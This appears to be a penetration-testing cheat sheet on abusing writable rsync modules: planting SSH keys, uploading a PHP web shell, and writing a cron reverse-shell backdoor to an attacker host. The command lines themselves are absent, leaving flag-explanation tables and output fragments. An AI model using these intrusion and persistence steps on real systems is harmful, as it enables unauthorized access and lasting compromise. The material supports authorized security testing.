Rsync Write Access Exploitation
Rsync Write Access Exploitation
Write access to an rsync module means any file can be uploaded to the path the module exposes. The highest-impact path is planting an SSH authorized key in a user's .ssh directory: this gives direct SSH access without needing the account password. When the module maps to a web root, uploading a web shell provides code execution. Confirm write access through unauthenticated access testing and identify the module path before proceeding.
- SSH Authorized Key Planting
- Web Shell Upload via www Module
- Cron Backdoor via /etc Module
- Overwrite SSH Config for Forced Command
SSH Authorized Key Planting
When a module maps to a home directory or .ssh path, add your public key to authorized_keys for passwordless SSH access. Generate a keypair first if needed:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... kali@kali
Explain command
| -t ed25519 | Specifies the key type as Ed25519 elliptic curve algorithm. |
| -f /tmp/rsync_key | Sets the output filename/path for the generated key pair. |
| -N '' | Sets an empty passphrase for the private key. |
| -q | Runs ssh-keygen in quiet mode, suppressing output. |
| /tmp/rsync_key.pub | Variable path referencing the generated public key file to display. |
Check what is already in authorized_keys before overwriting it: you want to append, not replace, to avoid locking out existing access:
existing_keys sent 512 bytes received 35 bytes 1094.00 bytes/sec
Explain command
| rsync://$TARGET_IP:873/backup/authorized_keys | Source rsync URI targeting port 873 on the remote host, backup module. |
| /tmp/existing_keys | Local destination path for the downloaded authorized_keys file. |
| 2>/dev/null | Redirects stderr to null, suppressing error messages. |
| /tmp/rsync_key.pub | Local public key file appended to the existing keys file. |
| >> | Appends stdout of cat to the target file without overwriting. |
| -v | Enables verbose output, showing files being transferred. |
| rsync://$TARGET_IP:873/backup/authorized_keys | Destination rsync URI to upload the modified authorized_keys back to the server. |
root@target:~#
Explain command
| -i /tmp/rsync_key | Specifies the private key file to use for authentication. |
| root@$TARGET_IP | Connects as user 'root' to the host defined by TARGET_IP. |
Warning
Document the exact key added and remove it during cleanup. Never overwrite the entire authorized_keys file: always append to preserve existing access and avoid detection through lockouts.
Web Shell Upload via www Module
When the module maps to a web root, upload a PHP web shell and trigger it through the web application:
shell.php sent 49 bytes received 35 bytes 168.00 bytes/sec
Explain command
| -v | Enable verbose output to show files being transferred. |
| /tmp/shell.php | Local source file path of the PHP webshell to transfer. |
| rsync://$TARGET_IP:873/www/shell.php | Destination rsync URI targeting port 873 on the remote host. |
| $TARGET_IP:873 | Placeholder for target IP with rsync default port 873. |
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cron Backdoor via /etc Module
When a module maps to /etc or a cron directory, plant a crontab entry for scheduled reverse shell execution:
drwxr-xr-x cron.d drwxr-xr-x cron.daily
Explain command
| --list-only | List files instead of transferring them. |
| rsync://$TARGET_IP:873/etc/ | Target rsync URI on port 873 browsing the /etc/ module path. |
| 2>/dev/null | Redirect stderr to null, suppressing error messages. |
| -iE | Case-insensitive search using extended regular expressions. |
| cron | Pattern to match any cron-related entries in the output. |
Explain command
| $LHOST | Attacker's IP address for the reverse shell callback. |
| $LPORT | Attacker's listening port for the reverse shell callback. |
| -v | Enable verbose output showing files transferred. |
| /tmp/cronjob | Local source file containing the malicious cron entry. |
| rsync://$TARGET_IP:873/etc/cron.d/update | Destination rsync URI writing payload to cron.d on target. |
| -f | Suppress error if file does not exist during removal. |
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, shows connection details. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Variable placeholder for the local listening port number. |
Important
Cron backdoors persist after the assessment ends. Remove them immediately after obtaining the shell. Document the exact path and content of any planted files.
Overwrite SSH Config for Forced Command
When the module exposes the sshd_config or authorized_keys with options, force a specific command on SSH login:
Explain command
| -v | Enable verbose output, showing files transferred and progress. |
| $TARGET_IP:873 | Target host and port 873 (default rsync daemon port). |
| rsync://$TARGET_IP:873/backup/authorized_keys | rsync URI specifying remote module 'backup' and destination file path. |
| $LHOST | Attacker-controlled host for the reverse shell callback. |
| $LPORT | Attacker-controlled port for the reverse shell callback. |
References
-
rsync upload syntax and URL format for write operations